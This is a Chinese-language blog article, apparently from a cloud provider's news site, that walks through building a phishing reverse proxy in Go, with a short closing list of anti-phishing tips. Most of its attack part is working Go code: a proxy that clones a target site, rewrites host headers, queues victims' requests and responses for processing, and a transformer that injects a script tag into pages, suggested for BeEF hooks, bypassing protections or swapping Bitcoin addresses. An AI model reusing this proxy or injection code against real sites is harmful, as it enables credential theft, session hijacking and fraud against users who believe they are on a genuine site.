溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何在中使用反向代理進行網(wǎng)絡(luò)釣魚測試

發(fā)布時間:2021-11-18 13:37:52 來源:億速云 閱讀:232 作者:柒染 欄目:網(wǎng)絡(luò)管理

今天就跟大家聊聊有關(guān)如何在中使用反向代理進行網(wǎng)絡(luò)釣魚測試,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

對于一個攻擊者來說,要想實施一次網(wǎng)絡(luò)釣魚攻擊,往往需要做大量的準備工作。例如搭建釣魚站點,引誘受害者上鉤,捕獲受害者的登錄憑證等。我將教大家使用Go自動化這些過程。

如何在中使用反向代理進行網(wǎng)絡(luò)釣魚測試

代理被用來釣魚TechOnRoad用戶。你能看出它們之間的差別嗎?

使用代理進行網(wǎng)絡(luò)釣魚

我們的代理需要接收來自受害者的請求,并在發(fā)送到目標網(wǎng)站之前重寫它們。Go有著許多在原生層面對并發(fā)編程進行支持的優(yōu)秀特性,比如Goroutines、Channels等。我們建立了一個簡單的TCP偵聽器,spawn了一個新的goroutine來處理每個傳入的連接和一個goroutine worker來處理請求和響應(yīng)。結(jié)果通過channel從請求處理goroutine傳遞給worker。

// HTTPTransaction represents a complete request - response flow.
type HTTPTransaction struct {
  Request  *http.Request
  Response *http.Response
}

// PhishingProxy proxies requests between the victim and the target, queuing requests and responses for further processing.
type PhishingProxy struct {
  client               *http.Client
  targetURL            *url.URL
  responseTransformers []ResponseTransformer
}

func main() {
        // ... flag parsing and whatnot
        phishingProxy := &PhishingProxy{
    client:               client,
    targetURL:            u,
    responseTransformers: responseTransformers,
  }

  transactions := make(chan *HTTPTransaction)
  go processTransactions(transactions)
  for {
    conn, err := server.Accept()
    if err != nil {
      log.Println("Error when accepting request,", err.Error())
    }
    go phishingProxy.HandleConnection(conn, transactions)
  }
}

由于Go的優(yōu)秀標準庫,請求處理非常簡潔。http包提供ReadRequest方法,用于解析從連接中讀取數(shù)據(jù)的請求。

defer conn.Close()
reader := bufio.NewReader(conn)
request, err := http.ReadRequest(reader)
if err != nil {
  log.Println("Error parsing request:", err.Error())
  return
}

將所有內(nèi)容解析成Golang http.Request后,我們將它傳遞給目標。代理需要重寫來自受害者的HTTP頭,以防止目標站點連接中斷,特別是主機頭和URL。

request.URL.Scheme = p.targetURL.Scheme
request.URL.Host = p.targetURL.Host
request.Host = p.targetURL.Host
request.RequestURI = ""
resp, err := p.client.Do(request)
if err != nil {
  log.Println("Proxy error:", err.Error())
  return
}

在代理上使用HTTP客戶端,我們發(fā)起請求并確保請求成功。

一旦我們得到響應(yīng),我們使用傳遞給代理的ResponseTransformers(后面會詳細介紹)轉(zhuǎn)換它,使用標準庫httputil.DumpResponse函數(shù)將響應(yīng)轉(zhuǎn)換為字節(jié),并將請求和響應(yīng)發(fā)送給goroutine worker之后處理。 

for _, transformer := range p.responseTransformers {
  transformer.Transform(resp)
}

modifiedResponse, err := httputil.DumpResponse(resp, true)
if err != nil {
  log.Println("Error converting requests to bytes:", err.Error())
  return
}

_, err = conn.Write(modifiedResponse)
if err != nil {
  log.Println("Error responding to victim:", err.Error())
  return
}
transactions <- &HTTPTransaction{
  Request:  request,
  Response: resp,
}

我們通過一個channel將HTTP事務(wù)傳遞給worker,以加快我們的操作進程避免受害者發(fā)生某些錯誤。

只需指向該代理,就能完美克隆目標網(wǎng)站。

// ResponseTransformer modifies a response in any way we see fit, such as inserting extra JavaScript.
type ResponseTransformer interface {
  Transform(response *http.Response) error
}

ResponseTransformer允許你修改響應(yīng)。我們可以用它來任何想做的事情,例如將自定義JavaScript注入到頁面,或者將比特幣地址替換成我們自己的。這對于那些在默認代理中無法100%工作的網(wǎng)站也很有用。

JavaScriptInjectionTransformer使用GoQuery將HTML響應(yīng)解析到DOM樹中,并使用我們傳遞給transformer的URL注入腳本標簽。我們可以使用它來注入BeEF hook或繞過網(wǎng)站的安全防護。

// JavaScriptInjectionTransformer holds JavaScript filename for injecting into response.
type JavaScriptInjectionTransformer struct {
  javascriptURL string
}

// Transform Injects JavaScript into an HTML response.
func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error {
  if !strings.Contains(response.Header.Get("Content-Type"), "text/html") {
    return nil
  }

  // Prevent NewDocumentFromReader from closing the response body.
  responseText, err := ioutil.ReadAll(response.Body)
  responseBuffer := bytes.NewBuffer(responseText)
  response.Body = ioutil.NopCloser(responseBuffer)
  if err != nil {
    return err
  }

  document, err := goquery.NewDocumentFromReader(responseBuffer)
  if err != nil {
    return err
  }

  payload := fmt.Sprintf("<script type='text/javascript' src='%s'></script>", j.javascriptURL)
  selection := document.
    Find("head").
    AppendHtml(payload).
    Parent()

  html, err := selection.Html()
  if err != nil {
    return err
  }
  response.Body = ioutil.NopCloser(bytes.NewBufferString(html))
  return nil
}

如何防御?

這類的釣魚攻擊并不是沒有破綻,其實只要我們稍微細心觀察,就能避免掉落壞人的陷阱。為此,我向大家提出以下幾點建議:

  • 為你登錄的網(wǎng)站添加書簽,并僅使用該書簽訪問該網(wǎng)站

  • 即使看到綠色安全提示,也要在登錄前仔細檢查網(wǎng)站的URL是否正常

  • 仔細檢查通過電子郵件發(fā)送給你的任何鏈接并謹慎點擊

看完上述內(nèi)容,你們對如何在中使用反向代理進行網(wǎng)絡(luò)釣魚測試有進一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

go
AI